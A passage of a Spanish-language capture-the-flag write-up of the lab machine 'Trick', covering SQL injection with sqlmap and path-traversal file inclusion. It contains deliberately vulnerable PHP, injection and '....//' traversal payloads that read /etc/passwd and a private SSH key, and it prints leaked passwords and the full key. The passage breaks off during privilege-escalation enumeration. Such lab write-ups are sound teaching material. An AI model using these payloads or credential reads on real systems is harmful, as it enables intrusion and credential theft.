			$save = $this->db->query("UPDATE allowances set ".$data." where id=".$id);
		}
		if($save)
			return 1;
	}
	function delete_allowances(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM allowances where id = ".$id);
		if($delete)
			return 1;
	}
	function save_employee_allowance(){
		extract($_POST);
		
		foreach($allowance_id as $k =>$v){
			$data =" employee_id='$employee_id' ";
			$data .=", allowance_id = '$allowance_id[$k]' ";
			$data .=", type = '$type[$k]' ";
			$data .=", amount = '$amount[$k]' ";
			$data .=", effective_date = '$effective_date[$k]' ";
			$save[] = $this->db->query("INSERT INTO employee_allowances set ".$data);
		}

		if(isset($save))
			return 1;
	}
	function delete_employee_allowance(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM employee_allowances where id = ".$id);
		if($delete)
			return 1;
	}
	function save_deductions(){
		extract($_POST);
		$data =" deduction='$deduction' ";
		$data .=", description = '$description' ";
		

		if(empty($id)){
			$save = $this->db->query("INSERT INTO deductions set ".$data);
		}else{
			$save = $this->db->query("UPDATE deductions set ".$data." where id=".$id);
		}
		if($save)
			return 1;
	}
	function delete_deductions(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM deductions where id = ".$id);
		if($delete)
			return 1;
	}
	function save_employee_deduction(){
		extract($_POST);
		
		foreach($deduction_id as $k =>$v){
			$data =" employee_id='$employee_id' ";
			$data .=", deduction_id = '$deduction_id[$k]' ";
			$data .=", type = '$type[$k]' ";
			$data .=", amount = '$amount[$k]' ";
			$data .=", effective_date = '$effective_date[$k]' ";
			$save[] = $this->db->query("INSERT INTO employee_deductions set ".$data);
		}

		if(isset($save))
			return 1;
	}
	function delete_employee_deduction(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM employee_deductions where id = ".$id);
		if($delete)
			return 1;
	}
	function save_employee_attendance(){
		extract($_POST);
		
		foreach($employee_id as $k =>$v){
			$datetime_log[$k] =date("Y-m-d H:i",strtotime($datetime_log[$k]));
			$data =" employee_id='$employee_id[$k]' ";
			$data .=", log_type = '$log_type[$k]' ";
			$data .=", datetime_log = '$datetime_log[$k]' ";
			$save[] = $this->db->query("INSERT INTO attendance set ".$data);
		}

		if(isset($save))
			return 1;
	}
	function delete_employee_attendance(){
		extract($_POST);
		$date = explode('_',$id);
		$dt = date("Y-m-d",strtotime($date[1]));
 
		$delete = $this->db->query("DELETE FROM attendance where employee_id = '".$date[0]."' and date(datetime_log) ='$dt' ");
		if($delete)
			return 1;
	}
	function delete_employee_attendance_single(){
		extract($_POST);
		
 
		$delete = $this->db->query("DELETE FROM attendance where id = $id ");
		if($delete)
			return 1;
	}
	function save_payroll(){
		extract($_POST);
		$data =" date_from='$date_from' ";
		$data .=", date_to = '$date_to' ";
		$data .=", type = '$type' ";
		

		if(empty($id)){
			$i= 1;
			while($i == 1){
			$ref_no=date('Y') .'-'. mt_rand(1,9999);
				$chk  = $this->db->query("SELECT * FROM payroll where ref_no = '$ref_no' ")->num_rows;
				if($chk <= 0){
					$i = 0;
				}
			}
			$data .=", ref_no='$ref_no' ";
			$save = $this->db->query("INSERT INTO payroll set ".$data);
		}else{
			$save = $this->db->query("UPDATE payroll set ".$data." where id=".$id);
		}
		if($save)
			return 1;
	}
	function delete_payroll(){
		extract($_POST);
		$delete = $this->db->query("DELETE FROM payroll where id = ".$id);
		if($delete)
			return 1;
	}
	function calculate_payroll(){
		extract($_POST);
		$am_in = "08:00";
		$am_out = "12:00";
		$pm_in = "13:00";
		$pm_out = "17:00";
		$this->db->query("DELETE FROM payroll_items where payroll_id=".$id);
		$pay = $this->db->query("SELECT * FROM payroll where id = ".$id)->fetch_array();
		$employee = $this->db->query("SELECT * FROM employee");
		if($pay['type'] == 1)
		$dm = 22;
		else
		$dm = 11;
		$calc_days = abs(strtotime($pay['date_to']." 23:59:59")) - strtotime($pay['date_from']." 00:00:00 -1 day") ; 
        $calc_days =floor($calc_days / (60*60*24)  );
		$att=$this->db->query("SELECT * FROM attendance where date(datetime_log) between '".$pay['date_from']."' and '".$pay['date_from']."' order by UNIX_TIMESTAMP(datetime_log) asc  ") or die(mysqli_error());
		while($row=$att->fetch_array()){
			$date = date("Y-m-d",strtotime($row['datetime_log']));
			if($row['log_type'] == 1 || $row['log_type'] == 3){
				if(!isset($attendance[$row['employee_id']."_".$date]['log'][$row['log_type']]))
				$attendance[$row['employee_id']."_".$date]['log'][$row['log_type']] = $row['datetime_log'];
			}else{
				$attendance[$row['employee_id']."_".$date]['log'][$row['log_type']] = $row['datetime_log'];
			}
			}
		$deductions = $this->db->query("SELECT * FROM employee_deductions where (`type` = '".$pay['type']."' or (date(effective_date) between '".$pay['date_from']."' and '".$pay['date_from']."' ) ) ");
		$allowances = $this->db->query("SELECT * FROM employee_allowances where (`type` = '".$pay['type']."' or (date(effective_date) between '".$pay['date_from']."' and '".$pay['date_from']."' ) ) ");
		while($row = $deductions->fetch_assoc()){
			$ded[$row['employee_id']][] = array('did'=>$row['deduction_id'],"amount"=>$row['amount']);
		}
		while($row = $allowances->fetch_assoc()){
			$allow[$row['employee_id']][] = array('aid'=>$row['allowance_id'],"amount"=>$row['amount']);
		}
		while($row =$employee->fetch_assoc()){
			$salary = $row['salary'];
			$daily = $salary / 22;
			$min = (($salary / 22) / 8) /60;
			$absent = 0;
			$late = 0;
			$dp = 22 / $pay['type'];
			$present=0;
			$net=0;
			$allow_amount=0;
			$ded_amount=0;


			for($i = 0; $i < $calc_days;$i++){
				$dd = date("Y-m-d",strtotime($pay['date_from']." +".$i." days"));
				$count = 0;
				$p = 0;
				if(isset($attendance[$row['id']."_".$dd]['log']))
				$count = count($attendance[$row['id']."_".$dd]['log']);
					
					if(isset($attendance[$row['id']."_".$dd]['log'][1]) && isset($attendance[$row['id']."_".$dd]['log'][2])){
						$att_mn = abs(strtotime($attendance[$row['id']."_".$dd]['log'][2])) - strtotime($attendance[$row['id']."_".$dd]['log'][1]) ; 
        				$att_mn =floor($att_mn  /60 );
        				$net += ($att_mn * $min);
        				$late += (240 - $att_mn);
        				$present += .5;
        				
					}
					if(isset($attendance[$row['id']."_".$dd]['log'][3]) && isset($attendance[$row['id']."_".$dd]['log'][4])){
						$att_mn = abs(strtotime($attendance[$row['id']."_".$dd]['log'][4])) - strtotime($attendance[$row['id']."_".$dd]['log'][3]) ; 
        				$att_mn =floor($att_mn  /60 );
        				$net += ($att_mn * $min);
        				$late += (240 - $att_mn);
        				$present += .5;
					}
			}
			$ded_arr = array();
			$all_arr = array();
			if(isset($allow[$row['id']])){
				foreach ($allow[$row['id']] as $arow) {
					$all_arr[] = $arow;
					$net += $arow['amount'];
					$allow_amount += $arow['amount'];
	
				}
			}
			if(isset($ded[$row['id']])){
				foreach ($ded[$row['id']] as $drow) {
					$ded_arr[] = $drow;
					$net -= $drow['amount'];
					$ded_amount +=$drow['amount'];
				}
			}
			$absent = $dp - $present; 
			$data = " payroll_id = '".$pay['id']."' ";
			$data .= ", employee_id = '".$row['id']."' ";
			$data .= ", absent = '$absent' ";
			$data .= ", present = '$present' ";
			$data .= ", late = '$late' ";
			$data .= ", salary = '$salary' ";
			$data .= ", allowance_amount = '$allow_amount' ";
			$data .= ", deduction_amount = '$ded_amount' ";
			$data .= ", allowances = '".json_encode($all_arr)."' ";
			$data .= ", deductions = '".json_encode($ded_arr)."' ";
			$data .= ", net = '$net' ";
			$save[] = $this->db->query("INSERT INTO payroll_items set ".$data);

		}
		if(isset($save)){
			$this->db->query("UPDATE payroll set status = 1 where id = ".$pay['id']);
			return 1;
		}
	}
}
1
2
3
4
//db_connect
<?php 

$conn= new mysqli('localhost','remo','TrulyImpossiblePasswordLmao123','payroll_db')or die("Could not connect to mysql".mysqli_error($con));

También logramos observar el codigo de manage_user.php donde vemos que realiza un query segun el id que se le pase sin ningun tipo de filtro, por lo que podríamos existir alguna vulnerabilidad sqli.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php 
include('db_connect.php');
if(isset($_GET['id'])){
$user = $conn->query("SELECT * FROM users where id =".$_GET['id']);
foreach($user->fetch_array() as $k =>$v){
	$meta[$k] = $v;
}
}
?>
// [.. snip ..]

Payroll - SQLi

Ejecutamos sqlmap, observamos que el parametro id es inyectable y observamos dos bases de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 π ~/htb/trick ❯ ../streamio/sqlmap/sqlmap.py -u "http://preprod-payroll.trick.htb/manage_user.php?id=1" --dbs
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.6.12#dev}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:33:21 /2022-06-29/

[23:33:21] [INFO] testing connection to the target URL
[.. snip ..]
sqlmap identified the following injection point(s) with a total of 86 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1127=1127

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 9338 FROM (SELECT(SLEEP(5)))EMCU)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=-1119 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7671,0x4546476c546a4379635964587a6e7848434d475a75764d536b64566556674e524453767a5455676e,0x716a787a71),NULL,NULL,NULL,NULL,NULL-- -
---
[23:33:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:33:50] [INFO] fetching database names
[23:33:51] [INFO] retrieved: 'information_schema'
[23:33:51] [INFO] retrieved: 'payroll_db'
available databases [2]:
[*] information_schema
[*] payroll_db

[.. snip ..]

Vemos que existe solo un usuario dentro de la base de datos, y no vemos algun otra tabla con información sensible.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Database: payroll_db
[11 tables]
+---------------------+
| position            |
| allowances          |
| attendance          |
| deductions          |
| department          |
| employee            |
| employee_allowances |
| employee_deductions |
| payroll             |
| payroll_items       |
| users               |
+---------------------+

Database: payroll_db
Table: users
[8 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| address   | text         |
| contact   | text         |
| doctor_id | int(30)      |
| id        | int(30)      |
| name      | varchar(200) |
| password  | varchar(200) |
| type      | tinyint(1)   |
| username  | varchar(100) |
+-----------+--------------+

Database: payroll_db
Table: users
[1 entry]
+---------------+-----------------------+------------+
| name          | password              | username   |
+---------------+-----------------------+------------+
| Administrator | SuperGucciRainbowCake | Enemigosss |
+---------------+-----------------------+------------+

Tras enumerar los privilegios del usuario se muestra unicamente FILE, por lo que podríamos acceder a archivos de la máquina.

1
2
3
4
[23:37:10] [INFO] fetching database users privileges
database management system users privileges:
[*] 'remo'@'localhost' [1]:
    privilege: FILE

Utilizando --file-read=FILE logramos acceder al archivo /etc/hosts, no vemos los subdominos o dominio que encontramos con dig.

1
2
3
4
 π ~/htb/trick ❯ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_hosts
127.0.0.1 localhost
127.0.1.1 trick
 π ~/htb/trick ❯

El sitio esta corriendo en un nginx, obtuvimos el archivo sites-available/default, se muestran (server_name) el dominio y subdominio que encontramos, además encontramos uno nuevo: preprod-marketing.trick.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# /etc/nginx/sites-available/default
 π ~/htb/trick ❯ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-available_default
server {
	listen 80 default_server;
	listen [::]:80 default_server;
	server_name trick.htb;
	root /var/www/html;

	index index.html index.htm index.nginx-debian.html;

	server_name _;

	location / {
		try_files $uri $uri/ =404;
	}

	location ~ \.php$ {
		include snippets/fastcgi-php.conf;
		fastcgi_pass unix:/run/php/php7.3-fpm.sock;
	}
}


server {
	listen 80;
	listen [::]:80;

	server_name preprod-marketing.trick.htb;

	root /var/www/market;
	index index.php;

	location / {
		try_files $uri $uri/ =404;
	}

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}
 π ~/htb/trick ❯

Preprod-Marketing - LFI

Encontramos un sitio web “estatico”.
image

Feroxbuster unicamente muestra paginas html, los recursos y el index.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 π ~/htb/trick ❯ feroxbuster -u http://preprod-marketing.trick.htb/ -w $MD --depth 1 -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.5.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://preprod-marketing.trick.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.5.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        7l       12w      185c http://preprod-marketing.trick.htb/img => http://preprod-marketing.trick.htb/img/
200      GET      178l      631w        0c http://preprod-marketing.trick.htb/index.php
200      GET      144l      417w     7677c http://preprod-marketing.trick.htb/contact.html
200      GET      178l      631w     9660c http://preprod-marketing.trick.htb/home.html
200      GET      192l      724w    10757c http://preprod-marketing.trick.htb/services.html
200      GET      242l      799w    13272c http://preprod-marketing.trick.htb/about.html
301      GET        7l       12w      185c http://preprod-marketing.trick.htb/css => http://preprod-marketing.trick.htb/css/
301      GET        7l       12w      185c http://preprod-marketing.trick.htb/js => http://preprod-marketing.trick.htb/js/

Tras navegar por las paginas vemos que al igula que en Payroll pasa como valor el nombre de la pagina con la extensión, por lo que nuevamente podría tratarse de una vulnerabilidad LFI.
image

Obtuvimos el contenido de /etc/passwd tras intenter distintos “payloads”, observamos al usuario michael.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 π ~/htb/trick ❯ curl -s "http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
 π ~/htb/trick ❯

User - Michael

Tras enumerar el directorio de este usuario encontramos la flag user.txt.

1
2
3
 π ~/htb/trick ❯ curl -s "http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/user.txt"
5b5ad3d88d0521fa5e49bcd1150731eb
 π ~/htb/trick ❯

También obtuvimos su clave privada de SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~/htb/trick ❯ curl -s "http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
 π ~/htb/trick ❯ curl -s "http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa" > michael_id_rsa
 π ~/htb/trick ❯ chmod 400 michael_id_rsa

Con ello lograoms acceder por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/trick ❯ ssh -i michael_id_rsa michael@trick.htb
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun 30 05:23:53 2022 from 10.10.14.33
-bash-5.0$ whoami; pwd
michael
/home/michael
-bash-5.0$ ls
Desktop  Documents  Downloads  Music  Pictures	Public	Templates  user.txt  Videos
-bash-5.0$ cat user.txt
5b5ad3d88d0521fa5e49bcd1150731eb
-bash-5.0$

Privesc

Tras obtener una shell en la máquina ejecutamos sudo -l lo cual nos mostró el servicio fail2ban.

1
2
3
4
5
6
7
8
9
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
michael@trick:~$ ls -lah /etc/init.d/fail2ban
-rwxr-xr-x 1 root root 6.6K Sep 23  2018 /etc/init.d/fail2ban
michael@trick:~$

Tras realizar una pequeña investigación sobre fail2ban encontramos un post que habla sobre el funcionamiento en linux y menciona diferentes archivos. El archivo fail2ban.conf contiene información sobre el pid, log, socket, etc., jail.local contiene las “politicas” y donde se configura el filtro a utilizar en X servicio, puerto, etc., como ejemplo SSH donde menciona el filtro sshd este filtro se encuentra bajo el directorio filter.d/, basicamente realiza una busqueda de caracteres o strings dentro de los logs del servicio, de encontrarse con uno de estos ejecuta un action, este se encuentra bajo el directorio action.d/ en este caso iptables-multiport.conf, este ultimo ejecuta distintos comandos segun el action, en este caso ejecuta el comando iptables.

Con esto sabemos que es posible ejecutar comandos utilizando actions, primero verificamos cual es la configuración de fail2ban con fail2ban-client.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[.. snip ..]
Options:
    -c <DIR>                configuration directory
    -s <FILE>               socket path
    -p <FILE>               pidfile path
    --loglevel <LEVEL>      logging level
    --logtarget <TARGET>    logging target, use file-name or stdout, stderr, syslog or sysout.
    --syslogsocket auto|<FILE>
    -d                      dump configuration. For debugging
    --dp, --dump-pretty     dump the configuration using more human readable representation
    -t, --test              test configuration (can be also specified with start parameters)
    -i                      interactive mode
    -v                      increase verbosity
    -q                      decrease verbosity
    -x                      force execution of the server (remove socket file)
    -b                      start server in background (default)
    -f                      start server in foreground
    --async                 start server in async mode (for internal usage only, don't read configuration)
    --timeout               timeout to wait for the server (for internal usage only, don't read configuration)
    --str2sec <STRING>      convert time abbreviation format to seconds
    -h, --help              display this help message
    -V, --version           print the version

[.. snip ..]

Con la flag -d observamos la configuración, en este caso vemos que el filtro ssh está activo, se observa el action (addaction) iptables-multiport.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
michael@trick:/etc/fail2ban$ fail2ban-client -d
['set', 'syslogsocket', 'auto']
['set', 'loglevel', 'INFO']
['set', 'logtarget', '/var/log/fail2ban.log']
['set', 'dbfile', '/var/lib/fail2ban/fail2ban.sqlite3']
['set', 'dbpurgeage', '60']
['add', 'sshd', 'auto']
['set', 'sshd', 'maxlines', 1]
['set', 'sshd', 'prefregex', '^<F-MLFID>(?:\\[\\])?\\s*(?:<[^.]+\\.[^.]+>\\s+)?(?:\\S+\\s+)?(?:kernel: \\[ *\\d+\\.\\d+\\]\\s+)?(?:@vserver_\\S+\\s+)?(?:(?:(?:\\[\\d+\\])?:\\s+[\\[\\(]?sshd(?:\\(\\S+\\))?[\\]\\)]?:?|[\\[\\(]?sshd(?:\\(\\S+\\))?[\\]\\)]?:?(?:\\[\\d+\\])?:?)\\s+)?(?:\\[ID \\d+ \\S+\\]\\s+)?</F-MLFID>(?:(?:error|fatal): (?:PAM: )?)?<F-CONTENT>.+</F-CONTENT>$']
['multi-set', 'sshd', 'addfailregex', ['^[aA]uthentication (?:failure|error|failed) for <F-USER>.*</F-USER> from <HOST>( via \\S+)?\\s*(?: \\[preauth\\])?\\s*$', '^User not known to the underlying authentication module for <F-USER>.*</F-USER> from <HOST>\\s*(?: \\[preauth\\])?\\s*$', '^Failed \\S+ for invalid user <F-USER>(?P<cond_user>\\S+)|(?:(?! from ).)*?</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?(?: ssh\\d*)?(?(cond_user): |(?:(?:(?! from ).)*)$)', '^Failed \\b(?!publickey)\\S+ for (?P<cond_inv>invalid user )?<F-USER>(?P<cond_user>\\S+)|(?(cond_inv)(?:(?! from ).)*?|[^:]+)</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?(?: ssh\\d*)?(?(cond_user): |(?:(?:(?! from ).)*)$)', '^<F-USER>ROOT</F-USER> LOGIN REFUSED.* FROM <HOST>\\s*(?: \\[preauth\\])?\\s*$', '^[iI](?:llegal|nvalid) user <F-USER>.*?</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because not listed in AllowUsers\\s*(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because listed in DenyUsers\\s*(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because not in any group\\s*(?: \\[preauth\\])?\\s*$', '^refused connect from \\S+ \\(<HOST>\\)\\s*(?: \\[preauth\\])?\\s*$', '^Received <F-MLFFORGET>disconnect</F-MLFFORGET> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?:\\s*3: .*: Auth fail(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> from <HOST> not allowed because a group is listed in DenyGroups\\s*(?: \\[preauth\\])?\\s*$', "^User <F-USER>.+</F-USER> from <HOST> not allowed because none of user's groups are listed in AllowGroups\\s*(?: \\[preauth\\])?\\s*$", '^pam_unix\\(sshd:auth\\):\\s+authentication failure;\\s*logname=\\S*\\s*uid=\\d*\\s*euid=\\d*\\s*tty=\\S*\\s*ruser=<F-USER>\\S*</F-USER>\\s*rhost=<HOST>\\s.*(?: \\[preauth\\])?\\s*$', '^(error: )?maximum authentication attempts exceeded for <F-USER>.*</F-USER> from <HOST>(?: port \\d+)?(?: on \\S+(?: port \\d+)?)?(?: ssh\\d*)?(?: \\[preauth\\])?\\s*$', '^User <F-USER>.+</F-USER> not allowed because account is locked(?: \\[preauth\\])?\\s*', '^<F-MLFFORGET>Disconnecting</F-MLFFORGET>: Too many authentication failures(?: for <F-USER>.+?</F-USER>)?(?: \\[preauth\\])?\\s*', '^<F-NOFAIL>Received <F-MLFFORGET>disconnect</F-MLFFORGET></F-NOFAIL> from <HOST>: 11:', '^<F-NOFAIL>Connection 